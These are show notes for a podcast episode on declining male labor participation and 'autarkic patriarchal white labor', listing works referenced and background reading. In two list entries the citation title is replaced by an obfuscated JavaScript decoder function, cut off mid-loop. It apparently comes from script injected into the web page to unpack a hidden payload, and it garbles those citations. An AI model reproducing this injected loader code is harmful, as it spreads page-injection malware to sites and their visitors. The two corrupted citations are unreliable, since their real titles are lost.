Episode 1.9: Sons of Autarky
Welcome to This Is Fine episode 1.9: Sons of Autarky. Thank you very much for listening, Finers. Please subscribe to the podcast on iTunes or your favorite app, and share this link with your favorite dad or uncle.
In this week’s podcast, we talk about how the crisis of declining male labor force participation, the opioid epidemic, the Trump vote, and racism are all connected by one powerful narrative, autarkic patriarchal white labor (APWL). That’s the belief that a man's purpose is to provide for his family and that purpose can be only honored by certain types of work. Examining APWL, we look at some of the damage this story many men tell themselves has caused, and we look for a way out.
We’ll return in two weeks with This is Fine 1.10(!), when we'll discuss industrial policy in the United States.
Works referenced on the podcast (in order of discussion):
- Jeremy Reff, “I would like to buy what Chris Arnade is selling...(Autarkic Patriarchal White Labor),” Facebook
- Chris Arnade, “Divided by Meaning,” Medium
- "The Upshot," New York Times:
- Aisch and Gebeloff: “The Changing Nature of Middle-Class Jobs”
- Claire Cain Miller
- Binyamin Appelbaum, “The Vanishing Male Worker: How America Fell Behind”
- Randy Olson, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6
- Joan Williams, “What so Many People Don't Get About the US Working Class,” Harvard Business Review
- Chris Ladd, “Socialism for White People,” Political Orphans
- Thomas Edsell, “The Increasing Significance of the Decline of Men,” New York Times
- Jeff Guo, “The Shocking Pain of American Men,” Washington Post
- Autor et al., “Family Disadvantage and the Gender Gap in Behavioral and Educational Outcomes,” NBER
- Erich Fromm, Escape from Freedom
- Peter Frase, Four Futures: Life After Capitalism
- Kurt Vonnegut, Player Piano
- Hetscho, et al., “Changing Identity: Retiring from Unemployment,” The German Socio-Economic Panel Study, DIW Berlin
- Stephanie Coontz, “Do Millennial Men Want Stay-at-Home Wives?” New York Times
Background Reading (including some of the academic work that informs much of the above):
- David Autor, “The Polarization of Job Opportunities in the US Labor Market,” Center for American Progress/MIT
- David Autor and Melanie Wasserman, “Wayward Sons: The Emerging Gender Gap in Labor Markets and Education,” Third Way/MIT
- Susan Chira, “Men Need Help. Is Hillary Clinton the Answer?” New York Times
- David Deming, “The Growing Importance of Social Skills in the Labor Market,” Harvard/NBER
- Dill et al., “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6
- Gatta and Roos, “Rethinking Occupational Integration,” Rutgers
- Lawrence Katz, “Long-Term Unemployment in the Great Recession,” Harvard
- Alan Krueger, “Where Have All the Workers Gone?” Princeton/NBER
- Liza Mundy, “Why is Silicon Valley So Awful to Women?,” The Atlantic
- Obama White House Council of Economic Advisors, “The Long-term Decline in Prime Age Male Labor Force Participation”
- Richard Reeves and Isabel Sawhill, “Men’s Lib!” New York Times